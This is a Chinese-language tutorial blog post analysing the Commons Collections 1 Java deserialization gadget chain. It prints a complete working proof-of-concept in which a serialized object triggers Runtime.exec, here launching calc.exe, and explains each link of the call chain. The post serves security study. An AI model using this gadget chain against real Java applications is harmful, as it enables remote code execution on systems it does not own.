Java安全之Commons Collection 1

cc1:

public class Test1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

1.这个很好理解就是给Transformer数组传入四个参数:

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

2.ChainedTransformer的作用就是将前一个回调返回的结果作为后一个的参数传入:

Transformer transformerChain = new ChainedTransformer(transformers);

3.LazyMap

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

CC1用到Lazymap这个类,Lazymap的get方法在获取不到值的时候会调用factory.transform()这个方法来获取值
在这里插入图片描述
这里的factory是我们传进来的transformerChain,并且我们不需要给innermap传值,然后再看decorate方法:
在这里插入图片描述
发现会返回一个新的Lazymap对象,整体的意思就是decorate传了两个值一个是没有参数innermap 另一个是transformerChain ,但是在调用get 方法的时候是没有参数的,所以他会自动调用transformerChain的transform()方法进行取值也就实现了代码回调。

所以找到谁能调用get方法:

我们发现AnnotationInvocationHandler类的invoke方法是调用了get方法的
在这里插入图片描述
如何调用到invoke方法呢?
将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

所以我们先通过反射获取AnnotationInvocationHandler类:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

newProxyInstance需要有三个参数分别是:ClassLoader和类的集合以及接口的对象,接口同样也要实现相应的逻辑,

代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler进行调用构造函数对这个proxyMap:

handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

自此完成调用

调用链:

AnnotationInvocationHandle→redObject()->this.memberValues.entrySet()->InvocationHandler的invoke()->this.memberValues.get()->LayzMap的get()->this.factory.transformer()->chainedTransformer的transform->利用InvokerTransformer的transform构造Runtime对象->执行Runtime.exec()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

陈年往事心中绕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值